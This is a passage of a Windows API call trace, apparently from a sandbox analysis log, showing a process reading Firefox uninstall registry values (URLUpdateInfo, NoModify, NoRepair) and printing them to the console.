pcbData=0x29f780*=0x50 | out: pdwType=0x29f700*=0x1, pvData="https://www.mozilla.org/en-US/firefox/", pcbData=0x29f780*=0x4e) returned 0x0 [0149.123] __iob_func () returned 0x7fefd702a80 [0149.123] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.123] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.123] _fileno (_File=0x7fefd702ab0) returned 1 [0149.124] _errno () returned 0x204bb0 [0149.124] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.124] _errno () returned 0x204bb0 [0149.124] GetFileType (hFile=0x50) returned 0x1 [0149.124] lstrlenW (lpString=" ") returned 4 [0149.124] GetConsoleOutputCP () returned 0x1b5 [0149.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.124] GetConsoleOutputCP () returned 0x1b5 [0149.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.124] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.124] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.124] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.124] __iob_func () returned 0x7fefd702a80 [0149.124] _fileno (_File=0x7fefd702ab0) returned 1 [0149.124] _errno () returned 0x204bb0 [0149.124] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.124] _errno () returned 0x204bb0 [0149.124] GetFileType (hFile=0x50) returned 0x1 [0149.124] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.124] GetConsoleOutputCP () returned 0x1b5 [0149.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.124] GetConsoleOutputCP () returned 0x1b5 [0149.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0149.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.125] __iob_func () returned 0x7fefd702a80 [0149.125] _fileno (_File=0x7fefd702ab0) returned 1 [0149.125] _errno () returned 0x204bb0 [0149.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.125] _errno () returned 0x204bb0 [0149.125] GetFileType (hFile=0x50) returned 0x1 [0149.125] lstrlenW (lpString=" ") returned 4 [0149.125] GetConsoleOutputCP () returned 0x1b5 [0149.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.125] GetConsoleOutputCP () returned 0x1b5 [0149.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.125] __iob_func () returned 0x7fefd702a80 [0149.125] _fileno (_File=0x7fefd702ab0) returned 1 [0149.125] _errno () returned 0x204bb0 [0149.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.125] _errno () returned 0x204bb0 [0149.125] GetFileType (hFile=0x50) returned 0x1 [0149.125] lstrlenW (lpString="REG_SZ") returned 6 [0149.125] GetConsoleOutputCP () returned 0x1b5 [0149.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.126] GetConsoleOutputCP () returned 0x1b5 [0149.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.126] __iob_func () returned 0x7fefd702a80 [0149.126] _fileno (_File=0x7fefd702ab0) returned 1 [0149.126] _errno () returned 0x204bb0 [0149.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.126] _errno () returned 0x204bb0 [0149.126] GetFileType (hFile=0x50) returned 0x1 [0149.126] lstrlenW (lpString=" ") returned 4 [0149.126] GetConsoleOutputCP () returned 0x1b5 [0149.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.126] GetConsoleOutputCP () returned 0x1b5 [0149.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.126] __iob_func () returned 0x7fefd702a80 [0149.126] _fileno (_File=0x7fefd702ab0) returned 1 [0149.126] _errno () returned 0x204bb0 [0149.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.126] _errno () returned 0x204bb0 [0149.126] GetFileType (hFile=0x50) returned 0x1 [0149.127] lstrlenW (lpString="https://www.mozilla.org/en-US/firefox/") returned 38 [0149.127] GetConsoleOutputCP () returned 0x1b5 [0149.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="https://www.mozilla.org/en-US/firefox/", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0149.127] GetConsoleOutputCP () returned 0x1b5 [0149.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="https://www.mozilla.org/en-US/firefox/", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="https://www.mozilla.org/en-US/firefox/", lpUsedDefaultChar=0x0) returned 38 [0149.127] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0149.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.127] __iob_func () returned 0x7fefd702a80 [0149.127] _fileno (_File=0x7fefd702ab0) returned 1 [0149.127] _errno () returned 0x204bb0 [0149.127] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.127] _errno () returned 0x204bb0 [0149.127] GetFileType (hFile=0x50) returned 0x1 [0149.127] lstrlenW (lpString="\n") returned 1 [0149.127] GetConsoleOutputCP () returned 0x1b5 [0149.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.127] GetConsoleOutputCP () returned 0x1b5 [0149.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.127] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.128] GetProcessHeap () returned 0x3c0000 [0149.128] GetProcessHeap () returned 0x3c0000 [0149.128] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.128] GetProcessHeap () returned 0x3c0000 [0149.128] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.128] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.128] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.128] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.128] GetProcessHeap () returned 0x3c0000 [0149.128] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.128] GetProcessHeap () returned 0x3c0000 [0149.128] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.128] GetProcessHeap () returned 0x3c0000 [0149.128] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.128] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.128] __iob_func () returned 0x7fefd702a80 [0149.128] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.128] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.128] _fileno (_File=0x7fefd702ab0) returned 1 [0149.128] _errno () returned 0x204bb0 [0149.128] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.128] _errno () returned 0x204bb0 [0149.128] GetFileType (hFile=0x50) returned 0x1 [0149.128] lstrlenW (lpString=" ") returned 4 [0149.128] GetConsoleOutputCP () returned 0x1b5 [0149.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.128] GetConsoleOutputCP () returned 0x1b5 [0149.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.129] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.129] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.129] lstrlenW (lpString="NoModify") returned 8 [0149.129] __iob_func () returned 0x7fefd702a80 [0149.129] _fileno (_File=0x7fefd702ab0) returned 1 [0149.129] _errno () returned 0x204bb0 [0149.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.129] _errno () returned 0x204bb0 [0149.129] GetFileType (hFile=0x50) returned 0x1 [0149.129] lstrlenW (lpString="NoModify") returned 8 [0149.129] GetConsoleOutputCP () returned 0x1b5 [0149.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.129] GetConsoleOutputCP () returned 0x1b5 [0149.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.129] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.129] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.129] __iob_func () returned 0x7fefd702a80 [0149.129] _fileno (_File=0x7fefd702ab0) returned 1 [0149.129] _errno () returned 0x204bb0 [0149.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.129] _errno () returned 0x204bb0 [0149.129] GetFileType (hFile=0x50) returned 0x1 [0149.129] lstrlenW (lpString=" ") returned 4 [0149.130] GetConsoleOutputCP () returned 0x1b5 [0149.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.130] GetConsoleOutputCP () returned 0x1b5 [0149.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.130] __iob_func () returned 0x7fefd702a80 [0149.130] _fileno (_File=0x7fefd702ab0) returned 1 [0149.130] _errno () returned 0x204bb0 [0149.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.130] _errno () returned 0x204bb0 [0149.130] GetFileType (hFile=0x50) returned 0x1 [0149.130] lstrlenW (lpString="REG_DWORD") returned 9 [0149.130] GetConsoleOutputCP () returned 0x1b5 [0149.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.130] GetConsoleOutputCP () returned 0x1b5 [0149.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.131] __iob_func () returned 0x7fefd702a80 [0149.131] _fileno (_File=0x7fefd702ab0) returned 1 [0149.131] _errno () returned 0x204bb0 [0149.131] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.131] _errno () returned 0x204bb0 [0149.131] GetFileType (hFile=0x50) returned 0x1 [0149.131] lstrlenW (lpString=" ") returned 4 [0149.131] GetConsoleOutputCP () returned 0x1b5 [0149.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.131] GetConsoleOutputCP () returned 0x1b5 [0149.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.131] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.131] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.131] __iob_func () returned 0x7fefd702a80 [0149.131] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.131] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.131] _fileno (_File=0x7fefd702ab0) returned 1 [0149.131] _errno () returned 0x204bb0 [0149.131] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.131] _errno () returned 0x204bb0 [0149.131] GetFileType (hFile=0x50) returned 0x1 [0149.131] lstrlenW (lpString="0x1") returned 3 [0149.131] GetConsoleOutputCP () returned 0x1b5 [0149.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.131] GetConsoleOutputCP () returned 0x1b5 [0149.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.132] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.132] __iob_func () returned 0x7fefd702a80 [0149.132] _fileno (_File=0x7fefd702ab0) returned 1 [0149.132] _errno () returned 0x204bb0 [0149.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.132] _errno () returned 0x204bb0 [0149.132] GetFileType (hFile=0x50) returned 0x1 [0149.132] lstrlenW (lpString="\n") returned 1 [0149.132] GetConsoleOutputCP () returned 0x1b5 [0149.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.132] GetConsoleOutputCP () returned 0x1b5 [0149.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.132] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.132] GetProcessHeap () returned 0x3c0000 [0149.132] GetProcessHeap () returned 0x3c0000 [0149.132] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.132] GetProcessHeap () returned 0x3c0000 [0149.132] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.132] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.132] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.132] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.133] GetProcessHeap () returned 0x3c0000 [0149.133] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.133] GetProcessHeap () returned 0x3c0000 [0149.133] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.133] GetProcessHeap () returned 0x3c0000 [0149.133] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.133] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.133] __iob_func () returned 0x7fefd702a80 [0149.133] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.133] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.133] _fileno (_File=0x7fefd702ab0) returned 1 [0149.133] _errno () returned 0x204bb0 [0149.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.133] _errno () returned 0x204bb0 [0149.133] GetFileType (hFile=0x50) returned 0x1 [0149.133] lstrlenW (lpString=" ") returned 4 [0149.133] GetConsoleOutputCP () returned 0x1b5 [0149.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.133] GetConsoleOutputCP () returned 0x1b5 [0149.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.133] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.133] lstrlenW (lpString="NoRepair") returned 8 [0149.133] __iob_func () returned 0x7fefd702a80 [0149.133] _fileno (_File=0x7fefd702ab0) returned 1 [0149.133] _errno () returned 0x204bb0 [0149.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.133] _errno () returned 0x204bb0 [0149.133] GetFileType (hFile=0x50) returned 0x1 [0149.133] lstrlenW (lpString="NoRepair") returned 8 [0149.134] GetConsoleOutputCP () returned 0x1b5 [0149.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.134] GetConsoleOutputCP () returned 0x1b5 [0149.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0149.134] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.134] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.134] __iob_func () returned 0x7fefd702a80 [0149.134] _fileno (_File=0x7fefd702ab0) returned 1 [0149.134] _errno () returned 0x204bb0 [0149.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.134] _errno () returned 0x204bb0 [0149.134] GetFileType (hFile=0x50) returned 0x1 [0149.134] lstrlenW (lpString=" ") returned 4 [0149.134] GetConsoleOutputCP () returned 0x1b5 [0149.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.134] GetConsoleOutputCP () returned 0x1b5 [0149.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.134] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.134] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.134] __iob_func () returned 0x7fefd702a80 [0149.134] _fileno (_File=0x7fefd702ab0) returned 1 [0149.135] _errno () returned 0x204bb0 [0149.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.135] _errno () returned 0x204bb0 [0149.135] GetFileType (hFile=0x50) returned 0x1 [0149.135] lstrlenW (lpString="REG_DWORD") returned 9 [0149.135] GetConsoleOutputCP () returned 0x1b5 [0149.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.135] GetConsoleOutputCP () returned 0x1b5 [0149.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.135] __iob_func () returned 0x7fefd702a80 [0149.135] _fileno (_File=0x7fefd702ab0) returned 1 [0149.135] _errno () returned 0x204bb0 [0149.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.135] _errno () returned 0x204bb0 [0149.135] GetFileType (hFile=0x50) returned 0x1 [0149.135] lstrlenW (lpString=" ") returned 4 [0149.135] GetConsoleOutputCP () returned 0x1b5 [0149.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.135] GetConsoleOutputCP () returned 0x1b5 [0149.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.136] __iob_func () returned 0x7fefd702a80 [0149.136] 